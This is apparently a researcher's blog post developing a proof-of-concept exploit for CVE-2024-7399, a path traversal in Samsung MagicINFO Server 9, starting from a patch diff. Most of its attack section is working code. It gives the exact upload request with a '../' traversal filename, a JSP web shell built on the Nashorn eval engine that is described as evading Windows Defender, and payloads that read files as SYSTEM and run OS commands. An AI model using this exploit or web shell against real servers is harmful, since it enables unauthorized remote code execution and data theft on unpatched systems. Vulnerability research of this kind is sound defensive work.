CVE-2024-7399 POC

Posted on May 30, 2025

Getting a patch diff

The first thing we always have to do to research an N-day is to get a patch diff, between the vulnerable and fixed versions. This helps us see exactly what changed in the code, and by corelating it with information from the CVE disclosure, we can find the sink and write an exploit.

Downloading Samsung MagicINFO Server 9 requires an account, and is not necessarily the most straight-forward process. However, after some searches, I stumbled upon: https://www.bcpartnerportal.com/magicinfo-downloads/#elf_l1_Lw. An website that provides us the installers for multiple MagicINFO versions.

We need to check out the differences between version 21.1051 and 21.1052. Sadly, this source skips 21.1051 and only offers 21.1050 and 21.1052. However, this might prove enough for us to find the vulnerability. (plot-twist, it wasn’t, check out the epilogue to see why)

So, we spin-up a Windows 10 VM, and download the setups for both versions.

Let’s say you want to do some N-day research on a vulnerability in Product X. The vulnerability exists in version A, and was fixed in version B. What you would want to do is first install version B, copy the relevant files, then install version A and copy its relevant files. Why? So once you think you discovered the source and the sink, you can also test the hypotesis.

Well, it turns out, in our case, the installer for version 1052 requires the 1050 version to be installed on the system already, so we can’t follow this better timeline. Instead, we have to install version 21.1050, copy its files, install version 21.1052, copy its files, then uninstall MagicINFO from the system, and install 21.1050 again.

All relevant files of this program are stored by default in C:\MagicInfo Premium. We simply copy them to a desired location and once we have both versions saved, we can start diffing them.

Looking for the sink

With the files from both versions saved, we can start diffing the directories. I am using kdiff3 to do this.

Skimming through the file-tree and checking for changed files we see the following:

diff diff diff diff diff diff diff diff

The most interesting things overall seem to be: the server directory and the validator classes.

Looking at the validator classes we can observe that some changes were made, that could be a fix for a potential path traversal vulnerability.

validator validator validator

Moving on, we look inside ./server/. The web.xml file is of most help here. Searching through it we find multiple routes, mentioning uploads. Also, we can find out the structure of the Java code, and see that a com.samsung.magicinfo.protocol.file package exists.

A grep after some of the class names gives no results. However, we’ve previously seen that inside a sub-directory of this directory, a magicinfo.jar file exists. Decompiling and diffing this jar, we can get a better understanding of the classes mentioned in web.xml. There are a number of file changes inside the com.samsung.magicinfo.protocol.file package. All of the changes add a check called SecurityUtils.directoryTraversalChecker in the filepath handling logic. It seems we are on the right path!

com/samsung/magicinfo/protocol/file/DeviceLogUploadServlet.java
com/samsung/magicinfo/protocol/file/FtpMetaUploadServlet.java
com/samsung/magicinfo/protocol/file/CifsFileDownloadServlet.java
com/samsung/magicinfo/protocol/file/SWUpdateFileUploadServlet.java

From a preliminary look at the 4 changed files inside the com.samsung.magicinfo.protocol.file directory, we have the following conclusions:

  • DeviceLogUploadServlet doesn’t seem exploitable;
  • FtpMetaUploadServlet and CifsFileDownloadServlet require aditional infrastructure such as FTP or SMB servers;
  • SWUpdateFileUploadServlet seems the most approachable - it is short and takes its input directly from an HTTP request.

So let’s start analyzing SWUpdateFileUploadServlet first.

sw_diff

Let’s look at the unpatched code to see how we could exploit a path traversal vulnerability. This is the relevant code for us:

protected void doPost(final HttpServletRequest req, final HttpServletResponse res) throws ServletException, IOException {
    // [snip]
    final String fileName = StrUtils.nvl(req.getParameter("fileName")); // [1] 
    final String savedFileName = System.currentTimeMillis() + fileName; // [2]
    // [snip]
    try {
        swUpdateFileFolderPath = CommonConfig.get("UPLOAD_HOME").replace('/', File.separatorChar) + File.separator + "admin" + File.separator + "software" + File.separator + "application";
        swUpdateFilePath = swUpdateFileFolderPath + File.separator + savedFileName; // [3]
    }
    catch (final ConfigException e) {
        this.logger.error("", (Throwable)e);
    }
    final File folder = SecurityUtils.getSafeFile(swUpdateFileFolderPath);
    if (folder != null && !folder.exists()) {
        final boolean fSuccess = folder.mkdir();
        if (!fSuccess) {}
    }
    final File swUpdateFile = SecurityUtils.getSafeFile(swUpdateFilePath); // [4]
    final InputStream is = (InputStream)req.getInputStream();
    FileOutputStream fos = null;
    final byte[] buf = new byte[1024];
    int binaryRead = 0;
    try { // [5]
        fos = new FileOutputStream(swUpdateFile, true); 
        while ((binaryRead = is.read(buf)) != -1) {
            fos.write(buf, 0, binaryRead);
        }
    }
  1. The fileName is taken directly from the user request, so it is unsanitized ACID (Attacker Controlled Input Data);
  2. savedFileName adds a timestamp to the previous value, so it becomes unsanitized ACID itself;
  3. A filepath becomes the prefix to our ACID, still no sanitization occurs;
  4. A file is created with the ACID filepath;
  5. The request body is written to the newly created file.

From the outlined flow, it seems that a path traversal is imminent. No matter what gets prefixed to our filename, we can simply add how many “../” as required to write our file wherever we want. The only barrier might be getSafeFile. Let’s analyze this function as well.

public static File getSafeFile(final String path) {
    try {
        return new SafeFile(path);
    }
    catch (final ValidationException ve) {
        SecurityUtils.logger.error(ve.getLogMessage());
    }
    catch (final Exception e) {
        SecurityUtils.logger.error("Error during SafeFile generation - path : " + path);
    }
    return new File(path);
}

We can see that there is no restriction here either, this function will return a File object no matter what.

So, with all that said, let’s get to writting an exploit.

Writing a RCE exploit

Auditing the open ports on my Windows Machine, it seems that the following ports get used by MagicInfo by default:

  • 7001 - the Tomcat server via HTTP
  • 7002 - the Tomcat server via HTTPS
  • 7003 - the RemoteLogger server via HTTPS

So, to exploit this we should interact with either port 7001 or 7002. Further more, we must find the path. config.js shows us the backend root path. We know that a robots.txt is present at the root of the server, so we can validate /MagicInfo is the root by searching for /MagicInfo/robots.txt. The rest of the path to access our servlet can be extracted from web.xml.

Know, we must know where the file gets uploaded, to know how to manipulate the path to upload to the root of our backend.

swUpdateFileFolderPath = CommonConfig.get("UPLOAD_HOME").replace('/', File.separatorChar) + File.separator + "admin" + File.separator + "software" + File.separator + "application";
swUpdateFilePath = swUpdateFileFolderPath + File.separator + savedFileName;

From the code, we see that a static path, taken from the config file, gets appended to “/admin/software/application”. Checking the Tomcat configuration file, we see that UPLOAD_HOME=C:\MagicInfo Premium/runtime/upload. So, if we input “ACID” as our filename, the final path looks like this: C:\MagicInfo Premium\runtime\upload\admin\software\application\timestamp{ACID}. We want to write our file inside C:\MagicInfo Premium\server\, so a path such as: C:\MagicInfo Premium\runtime\upload\admin\software\application\timestamp\..\..\..\..\..\..\server\ourfile.jsp is needed.

To upload a file, we want to make a POST request to /MagicInfo/servlet/SWUpdateFileUploader?fileName=/../../../../../../server/{filename}.{ext}&deviceType=test&deviceModelName=test&swVer=1234 with the file content as the request body. Then, we can check if the file got uploaded under /MagicInfo/, or directly on the machine inside the server directory.

However, we must find a way to turn the arbitrary file write to a remote code execution vulnerability. In theory, this shouldn’t be hard, as JSP webshells can be found online. However, most of these shells are detected by Windows Defender, so our exploit won’t work / will have a short life.

What we can do instead, is to use JSP to instantiate a Java script engine, such as Nashorn. Then, use eval to run arbitrary Javascript/Java code. (Nashorn allows Javascript to invoke Java methods) This approach evades Defender (at the time of writting this blog post).

This JSP code, will receive Javascript code, Base64 encoded, and it will evaluate it at runtime.

<%@ page import="java.util.*,java.io.*,javax.script.*" %>
<%
String base64Input = request.getParameter("input");
String key = request.getParameter("key");

if (key.equals("mykey") && base64Input != null) {
    ScriptEngineManager factory = new ScriptEngineManager();
    ScriptEngine engine = factory.getEngineByName("nashorn");
    byte[] decodedBytes = Base64.getDecoder().decode(base64Input);
    engine.put("out", out);
    engine.eval(new String(decodedBytes));
}
%>

Then, we can perform various actions, using Java. For example, with this payload we can read files, as nt authority\system.

try {
    var Files = Java.type('java.nio.file.Files');
    var Paths = Java.type('java.nio.file.Paths');
    var Charset = Java.type('java.nio.charset.Charset');
    var charset = Charset.forName("UTF-16LE"); // can alternate it with utf-8 depending on the file
    var path = Paths.get('C:\\Users\\david\\Desktop\\flag.txt');
    var content = new java.lang.String(Files.readAllBytes(path), charset);
    out.println(content);
} catch (e) {
    out.println('Error reading file: ' + e);
}

file_read file_read

Of course, we can also pop a shell / achieve actual OS command execution. At the time of testing this, this flies under the radar, but take care when using it, Defender might catch on the new process being spawned.

try {
    var BufferedReader = Java.type("java.io.BufferedReader");
    var InputStreamReader = Java.type("java.io.InputStreamReader");
    var Runtime = Java.type("java.lang.Runtime");

    var process = Runtime.getRuntime().exec("whoami");
    var reader = new BufferedReader(new InputStreamReader(process.getInputStream()));

    var line;
    while ((line = reader.readLine()) !== null) {
        out.println("Command output: " + line);
    }
    process.waitFor();
} catch (e) {
    out.println("Error executing command: " + e);
}

osci

The complete POC, can be found here. It allows you to just check that the path-traversal exists, get RCE (using the eval engine) or upload your own shells.

poc1 poc2 poc3

Epilogue

I recently decided to start taking up n-day research more seriously. So, I decided to take an interesting recent CVE with no known POC and try to find one for it. I started off this journey interested to find a POC for CVE-2025-4632 - a path traversal vulnerability for Samsung MagicINFO Server 9. However, because I couldn’t get my hands on version 21.1051 I researched using a patch diff between 21.1050 and 21.1052. CVE-2024-7399 is also a path traversal vulnerability, in Samsung MagicINFO Server 9 21.1050. After discovering the vulnerability, thinking it was CVE-2025-4632, I digged up some information and discovered about the 2024 vulnerability as well. Sadly, without a more accurate patch (between 21.1051 and 21.1052) it will be very hard for me to be sure that I can discover CVE-2025-4632.